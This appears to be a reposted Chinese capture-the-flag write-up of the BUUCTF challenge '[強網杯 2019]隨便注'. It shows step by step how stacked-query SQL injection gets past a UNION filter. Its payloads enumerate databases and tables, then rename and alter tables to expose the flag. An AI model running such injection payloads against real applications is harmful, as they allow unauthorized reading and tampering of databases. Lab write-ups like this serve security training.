1. 程式人生 > 實用技巧 >buuctf-web [強網杯 2019]隨便注 1

buuctf-web [強網杯 2019]隨便注 1

啟動靶機,開啟是這個介面

首先輸入1‘,它會報錯

然後輸入1' order by 2,這說明只有兩個欄位。

然後我們使用union select聯合查詢一下,出錯了

顯而易見,這是被過濾了,是preg_match的檢測。

我們再堆疊注入一下;爆出資料庫:1'; show databases;#

再爆一下表名1'; show tables;#

找出來兩個表。我們看一下191的。試著讀取一下1';desc `表名`;#

在這個表裡發現了flag的蹤跡。再進行words表讀取。接下來就是圍繞著讀取flag來進行了。

把預設的words改為ww
ALTER TABLE words RENAME TO ww;
把1919810931114514改為words;
ALTER TABLE 
1919810931114514 RENAME TO words; 往words表裡新增一個欄位id ALTER TABLE words ADD id int(10) DEFAULT '1'; 修改words裡面flag為data ALTER TABLE words CHANGE flag data VARCHAR(100);-- - 然後把以上語句進行堆疊:所以payload:url?=1';rename table words to word22;rename table `1919810931114514` to words;ALTER TABLE words ADD id int(10) DEFAULT
'12';ALTER TABLE words CHANGE flag data VARCHAR(100);-- - 還有種語句格式: 把預設的words改為ww rename table words to ww; 下面就都一樣

然後再一次1’or 1=1;#就可以得出flag